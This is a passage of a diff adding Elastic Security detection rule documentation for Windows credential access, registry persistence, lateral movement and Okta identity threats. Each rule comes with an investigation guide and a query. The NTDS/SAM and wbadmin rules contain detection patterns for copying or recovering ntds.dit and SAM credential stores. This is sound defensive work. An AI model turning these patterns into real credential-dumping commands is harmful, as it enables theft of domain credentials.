unauthorized access or data exfiltration. +- Revoke any suspicious or unauthorized accounts from the Backup Operators group and review all accounts with elevated privileges for legitimacy. +- Conduct a thorough review of recent backup and recovery operations on the affected domain controller to identify any unauthorized access or data manipulation. +- Change all domain administrator and service account passwords to mitigate potential credential compromise. +- Restore the NTDS.dit file from a known good backup if any unauthorized modifications are detected. +- Implement enhanced monitoring and logging for wbadmin.exe usage across all domain controllers to detect future unauthorized access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "wbadmin.exe" or ?process.pe.original_file_name : "wbadmin.exe") and + process.args : "recovery" and process.command_line : "*ntds.dit*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ntds-or-sam-database-file-copied.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ntds-or-sam-database-file-copied.asciidoc new file mode 100644 index 0000000000..46867feb8f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ntds-or-sam-database-file-copied.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-ntds-or-sam-database-file-copied]] +=== NTDS or SAM Database File Copied + +Identifies a copy operation of the Active Directory Domain Database (ntds.dit) or Security Account Manager (SAM) files. Those files contain sensitive information including hashed domain and/or local credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/ +* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy +* https://www.elastic.co/security-labs/detect-credential-access +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating NTDS or SAM Database File Copied* + + +The Active Directory Domain Database (ntds.dit) and Security Account Manager (SAM) files are critical components in Windows environments, containing sensitive information such as hashed domain and local credentials. + +This rule identifies copy operations of these files using specific command-line tools, such as Cmd.Exe, PowerShell.EXE, XCOPY.EXE, and esentutl.exe. By monitoring for the presence of these tools and their associated arguments, the rule aims to detect potential credential access activities. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, command lines, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check for any recent changes in user account privileges or group memberships that may have allowed the unauthorized access. +- Determine whether the file was potentially exfiltrated from the subject host. +- Scope compromised credentials and disable the accounts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Look for the presence of relevant artifacts on other systems. Identify commonalities and differences between potentially compromised systems. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore the affected system to its operational state by applying any necessary patches, updates, or configuration changes. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + ((?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "XCOPY.EXE") or process.name : ("Cmd.Exe", "PowerShell.EXE", "XCOPY.EXE")) and + process.args : ("copy", "xcopy", "Copy-Item", "move", "cp", "mv") + ) or + ((?process.pe.original_file_name : "esentutl.exe" or process.name : "esentutl.exe") and process.args : ("*/y*", "*/vss*", "*/d*")) + ) and + process.command_line : ("*\\ntds.dit*", "*\\config\\SAM*", "*\\*\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy*\\*", "*/system32/config/SAM*", "*\\User Data\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-nullsessionpipe-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-nullsessionpipe-registry-modification.asciidoc new file mode 100644 index 0000000000..e344606b9a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-nullsessionpipe-registry-modification.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-nullsessionpipe-registry-modification]] +=== NullSessionPipe Registry Modification + +Identifies NullSessionPipe registry modifications that specify which pipes can be accessed anonymously. This could be indicative of adversary lateral movement preparation by making the added pipe available to everyone. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ +* https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-anonymous-access-to-named-pipes-and-shares + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating NullSessionPipe Registry Modification* + + +The NullSessionPipe registry setting in Windows defines which named pipes can be accessed without authentication, facilitating anonymous connections. Adversaries may exploit this by modifying the registry to enable lateral movement, allowing unauthorized access to network resources. The detection rule monitors changes to this registry path, flagging modifications that introduce new accessible pipes, which could indicate malicious intent. + + +*Possible investigation steps* + + +- Review the registry event details to confirm the specific named pipes added or modified in the NullSessionPipes registry path. Focus on the registry.data.strings field to identify any new or suspicious entries. +- Correlate the timestamp of the registry change event with other security events or logs from the same host to identify any concurrent suspicious activities, such as unusual network connections or process executions. +- Investigate the user account or process responsible for the registry modification by examining the event data for user context or process identifiers. This can help determine if the change was made by an unauthorized user or malicious process. +- Check for any recent alerts or logs related to lateral movement or unauthorized access attempts on the network, focusing on the host where the registry change was detected. +- Assess the risk and impact of the modified named pipes by determining if they are commonly used in legitimate operations or if they are known to be exploited by malware or threat actors. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts may modify the NullSessionPipe registry setting as part of routine network management. Review the source of the change and verify if it aligns with known administrative activities. +- Some network services or applications might require anonymous access to specific pipes for functionality. Identify these services and document them to differentiate between expected and unexpected modifications. +- Scheduled tasks or automated deployment scripts could alter the registry setting during updates or installations. Ensure these tasks are documented and verify their legitimacy. +- Security software or network monitoring tools might adjust the NullSessionPipe settings for scanning purposes. Confirm with your security team if such tools are in use and adjust the detection rule to exclude these known activities. +- Regularly review and update the list of known exceptions in your detection system to prevent alert fatigue and ensure focus on genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Review the registry changes to identify any unauthorized pipes added to the NullSessionPipes registry key and remove them to restore secure configurations. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to detect and remove any malicious software that may have been introduced. +- Analyze network logs and system event logs to identify any unauthorized access attempts or successful connections made through the modified pipes, and block any suspicious IP addresses or accounts. +- Reset credentials for any accounts that may have been compromised or used in conjunction with the unauthorized access to ensure they cannot be reused by adversaries. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been affected. +- Implement enhanced monitoring and alerting for changes to the NullSessionPipes registry key and similar registry paths to detect and respond to future unauthorized modifications promptly. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "NullSessionPipes" and + length(registry.data.strings) > 0 and + not registry.data.strings : "(empty)" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-office-test-registry-persistence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-office-test-registry-persistence.asciidoc new file mode 100644 index 0000000000..9b9a8621e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-office-test-registry-persistence.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-office-test-registry-persistence]] +=== Office Test Registry Persistence + +Identifies the modification of the Microsoft Office "Office Test" Registry key, a registry location that can be used to specify a DLL which will be executed every time an MS Office application is started. Attackers can abuse this to gain persistence on a compromised host. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-m365_defender.event-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Office Test Registry Persistence* + + +The Office Test Registry key in Windows environments allows specifying a DLL to execute whenever an Office application starts, providing a mechanism for legitimate customization. However, adversaries can exploit this for persistence by loading malicious DLLs. The detection rule monitors modifications to this registry path, excluding deletions, to identify potential abuse, leveraging data from various security sources to flag suspicious activity. + + +*Possible investigation steps* + + +- Review the registry event details to identify the specific DLL path that was added or modified in the Office Test Registry key. +- Check the file properties and digital signature of the DLL specified in the registry modification to determine its legitimacy. +- Investigate the source of the registry modification by correlating with user activity logs to identify which user account made the change. +- Analyze recent process execution logs for any Office applications to detect if the suspicious DLL has been loaded or executed. +- Cross-reference the DLL and associated registry modification with threat intelligence sources to check for known malicious indicators. +- Examine the system for additional signs of compromise, such as unusual network connections or other persistence mechanisms, to assess the scope of potential intrusion. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the Office Test Registry key as part of their setup process. Users can create exceptions for known software vendors or specific applications that are frequently updated. +- System administrators might use scripts or management tools that modify the registry for configuration purposes. Identify and exclude these trusted scripts or tools from triggering alerts. +- Customization by IT departments for legitimate business needs can lead to registry modifications. Document and whitelist these customizations to prevent false positives. +- Security software or monitoring tools might interact with the registry as part of their normal operations. Verify and exclude these interactions if they are known to be safe and necessary for system functionality. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further spread or communication with potential command and control servers. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the malicious DLL identified in the registry path. +- Remove the malicious DLL entry from the Office Test Registry key to prevent it from executing on future Office application startups. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or remnants. +- Review recent user activity and system logs to identify any unauthorized access or changes that may have led to the registry modification, and reset credentials if necessary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar registry modifications across the network to detect and respond to future attempts promptly. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and + registry.path : "*\\Software\\Microsoft\\Office Test\\Special\\Perf\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Office Test +** ID: T1137.002 +** Reference URL: https://attack.mitre.org/techniques/T1137/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-alerts-following-unusual-proxy-authentication.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-alerts-following-unusual-proxy-authentication.asciidoc new file mode 100644 index 0000000000..f47dbd878a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-alerts-following-unusual-proxy-authentication.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-okta-alerts-following-unusual-proxy-authentication]] +=== Okta Alerts Following Unusual Proxy Authentication + +Correlates the first occurrence of an Okta user session started via a proxy with subsequent Okta security alerts for the same user. Attackers frequently use proxy infrastructure (VPNs, Tor, residential proxies) to mask their origin when using stolen credentials, and their post-authentication activity often triggers additional detection rules. + +*Rule type*: eql + +*Rule indices*: + +* .alerts-security.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Identity +* Domain: Cloud +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Initial Access +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Alerts Following Unusual Proxy Authentication* + + +This rule correlates the first occurrences of authentication behind a proxy followed by an alert with subsequent Okta security alerts for the same user. Attackers frequently use proxy infrastructure (VPNs, Tor, residential proxies) to mask their origin when using stolen credentials, and their post-authentication activity often triggers additional detection rules. + +By correlating the proxy alert with other Okta alerts using an EQL sequence, this rule identifies users whose proxy-based authentication was followed by suspicious activity within a 1-hour window. + + +*Possible investigation steps* + +- Identify the affected user and review the correlated security alerts to understand what suspicious activity was detected after the proxy authentication. +- Examine the proxy source IP addresses and cross-reference with threat intelligence feeds for known malicious infrastructure. +- Review the time gap between the proxy authentication and subsequent alert generation. +- Review the user's recent Okta activity for signs of account takeover (MFA changes, new devices, unusual app access). +- Verify with the user whether they intentionally used a proxy or VPN during this session. + + +*False positive analysis* + +- Users who legitimately use VPN services for privacy or remote work may trigger this rule if they also trigger unrelated alerts. +- Security testing or red team exercises using proxy infrastructure combined with testing that triggers alerts. +- Corporate VPN egress points that Okta classifies as proxy infrastructure. + + +*Response and remediation* + +- If account compromise is suspected, immediately revoke all active sessions for the user. +- Reset the user's password and MFA factors. +- Review and revoke any OAuth tokens or API keys associated with the account. +- Block the source proxy IP at the network perimeter if confirmed malicious. +- Review the user's access to sensitive applications and data during the suspicious session. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=30m + [any where data_stream.dataset == "okta.system" and + kibana.alert.rule.rule_id == "6f1bb4b2-7dc8-11ee-92b2-f661ea17fbcd"] + [any where data_stream.dataset == "okta.system" and + kibana.alert.rule.rule_id != null and + kibana.alert.severity != "low" and + kibana.alert.rule.rule_id not in ( + "6f1bb4b2-7dc8-11ee-92b2-f661ea17fbcd", + "af2d8e4c-3b7c-4e91-8f5a-6c9d0e1f2a3b" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-fastpass-phishing-detection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-fastpass-phishing-detection.asciidoc new file mode 100644 index 0000000000..8d5c528eec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-fastpass-phishing-detection.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-okta-fastpass-phishing-detection]] +=== Okta FastPass Phishing Detection + +Detects when Okta FastPass prevents a user from authenticating to a phishing website. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://sec.okta.com/fastpassphishingdetection +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 312 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Okta FastPass Phishing Detection* + + +Okta FastPass is a passwordless authentication solution that enhances security by verifying user identity without traditional credentials. Adversaries may attempt to exploit this by directing users to phishing sites mimicking legitimate services. The detection rule identifies failed authentication attempts where FastPass blocks access, indicating a phishing attempt, by analyzing specific event patterns and outcomes. + + +*Possible investigation steps* + + +- Review the event details to confirm the presence of the specific outcome reason "FastPass declined phishing attempt" to ensure the alert is related to a phishing attempt. +- Identify the user associated with the failed authentication attempt and gather additional context about their recent activities and access patterns. +- Investigate the source IP address and geolocation of the failed authentication attempt to determine if it aligns with the user's typical access locations or if it appears suspicious. +- Check for any other recent authentication attempts from the same user or IP address to identify potential patterns or repeated phishing attempts. +- Communicate with the affected user to verify if they received any suspicious communications or if they attempted to access any unfamiliar websites around the time of the alert. +- Review any additional logs or alerts from other security systems that might provide further context or corroborate the phishing attempt. + + +*False positive analysis* + + +- Legitimate third-party applications that mimic the behavior of phishing sites may trigger false positives. Users can create exceptions for these applications by whitelisting their domains in the Okta FastPass settings. +- Internal testing environments that simulate phishing scenarios for training purposes might be flagged. To prevent this, ensure that these environments are registered and recognized within the Okta system to avoid unnecessary alerts. +- Users accessing legitimate services through unusual network paths or VPNs may be mistakenly identified as phishing attempts. Regularly review and update network configurations and trusted IP addresses to minimize these occurrences. +- Frequent failed authentication attempts due to user error, such as incorrect device settings or outdated software, can be mistaken for phishing. Educate users on maintaining their devices and software to align with Okta FastPass requirements to reduce these false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts to prevent further unauthorized access attempts. This can be done by temporarily disabling the accounts or enforcing additional authentication measures. +- Notify the affected users about the phishing attempt and instruct them to avoid interacting with suspicious emails or websites. Provide guidance on recognizing phishing attempts. +- Conduct a thorough review of the affected users' recent activities to identify any potential data exposure or unauthorized access to sensitive information. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or related incidents. +- Implement additional monitoring on the affected accounts and related systems to detect any further suspicious activities or attempts to bypass security controls. +- Review and update security policies and configurations related to Okta FastPass to ensure they are optimized for detecting and preventing similar phishing attempts in the future. +- Coordinate with the IT team to ensure that all systems and applications are patched and up-to-date to mitigate any vulnerabilities that could be exploited in conjunction with phishing attacks. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +This rule requires Okta to have the following turned on: + +Okta Identity Engine - select 'Phishing Resistance for FastPass' under Settings > Features in the Admin Console. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.category:authentication and + okta.event_type:user.authentication.auth_via_mfa and event.outcome:failure and okta.outcome.reason:"FastPass declined phishing attempt" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-sign-in-events-via-third-party-idp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-sign-in-events-via-third-party-idp.asciidoc new file mode 100644 index 0000000000..5c925cfe33 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-okta-sign-in-events-via-third-party-idp.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-okta-sign-in-events-via-third-party-idp]] +=== Okta Sign-In Events via Third-Party IdP + +Detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP) that has not been seen before. Adversaries may add an unauthorized IdP to an Okta tenant to gain persistent access. This rule uses New Terms detection to only alert when a previously unseen IdP is used for authentication, reducing noise from legitimate federated identity providers while highlighting potentially rogue IdP additions. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-okta.system-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://unit42.paloaltonetworks.com/muddled-libra/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Sign-In Events via Third-Party IdP* + + +This rule detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP). + +Adversaries may attempt to add an unauthorized IdP to an Okta tenant to gain access to the tenant. Following this action, adversaries may attempt to sign in to the tenant using the unauthorized IdP. This rule detects both the addition of an unauthorized IdP and the subsequent sign-in attempt. + + +*Possible investigation steps:* + +- Identify the third-party IdP by examining the `okta.authentication_context.issuer.id` field. +- Once the third-party IdP is identified, determine if this IdP is authorized to be used by the tenant. +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- Identify the actor associated with the IdP creation by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields in historical data. + - The `New Okta Identity Provider (IdP) Added by Admin` rule may be helpful in identifying the actor and the 